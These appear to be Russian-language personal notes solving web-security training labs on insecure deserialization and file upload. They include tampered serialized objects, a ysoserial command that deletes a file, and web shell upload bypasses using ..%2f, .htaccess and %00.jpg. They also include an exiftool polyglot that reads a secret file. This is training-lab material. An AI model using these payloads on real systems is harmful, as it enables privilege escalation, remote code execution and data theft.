Insecure deserialization

1. Lab: Modifying serialized objects

Меняю значение admin на 1 и я админ

```
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
```

2. Lab: Modifying serialized data types

Меняю юзерней на administrator и убираю access token

```
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
```

3. Lab: Using application functionality to exploit insecure deserialization

В меню удаления аккаунта в куке лежить путь до аватарки, которую будут удалять. Поменяю ее на файл карлоса

```
O:4:"User":3:{s:8:"username";s:6:"wiener";
s:12:"access_token";
s:32:"vd5rpwsd4qn4ha7fgfuqvgqwftvwfgev";
s:11:"avatar_link";
s:23:"/home/carlos/morale.txt";}
```

4. Lab: Arbitrary object injection in PHP

Нашел комментарий в исходном коде

```
<!-- TODO: Refactor once /libs/CustomTemplate.php is updated -->
```

Добавил ~ к url и прочитал содержимое, где нашел функцию __destruct, в которую передается переменная lock_file_path

В куке создал такую же переменную и дал ей имя нужного мне пути

```
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
```

5. Lab: Exploiting Java deserialization with Apache Commons

Куки в запросе содержат сериализованные обьекты джавы

при помощи докер поднятого образа ysoserial закодирую код для удаления файла

```
docker run ysoserial:latest CommonsCollections4 'rm /home/carlos/morale.txt' | base6
```

6. Lab: Exploiting PHP deserialization with a pre-built gadget chain

Опять нашел коммент

```
<!-- <a href=/cgi-bin/phpinfo.php>Debug</a> -->
```

По адресу нашел секретный ключ для подписи - `o1o0fi7s13jxv51ux8i6khn6y2blu00r`

Далее при помощи утилиты phpgcc я составляю вредоносный код, а при помощи tmp.php подписываю его, используя секретный ключ.

7. Lab: Exploiting Ruby deserialization using a documented gadget chain

При помощи тулы заэнкодил удаление файла и был рад

File upload vulnerabilities

1. Lab: Remote code execution via web shell upload

Вогнал вместо аватарки php файл и потом по пути исполнил его

```
/files/avatars/file_lab1.php
```

2. Lab: Web shell upload via Content-Type restriction bypass

Примерно то же, но надо поймать запрос на загрузку файла и поменять тип на image/jpeg

3. Lab: Web shell upload via path traversal

Тут файл не исполнялся, если его просто предыдущими путями заливать. Если в content disposition добавить `../`, то оно отфильтруется запросом. А `..%2f` уже не отфильтруется и файл туда и положится. а потом исполнится. победа.

4. Lab: Web shell upload via extension blacklist bypass

Сюда мы не можем запихнуть php файл. Зато отлично можем запихнуть .htaccess, в котором можем замапить случайное расширение на исполнение php.

Что мы успешно и делаем и меняем расширение нашего файла и гоняем

5. Lab: Web shell upload via obfuscated file extension

Тут тот же файл вставляем, ловим пост запрос, добавляем к названию файла нуль терминатор и .jpg и гоняем `%00.jpg`

6. Lab: Remote code execution via polyglot web shell upload

При помощи утилиты exiftool создаю php файл косящий под картинку, но исполняющий мой код внутри себя. пришел увидел победил

```
➜ exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret')
. ' END'; ?>" patrick.jpg -o polyglot.php
```

7. Lab: Web shell upload via race condition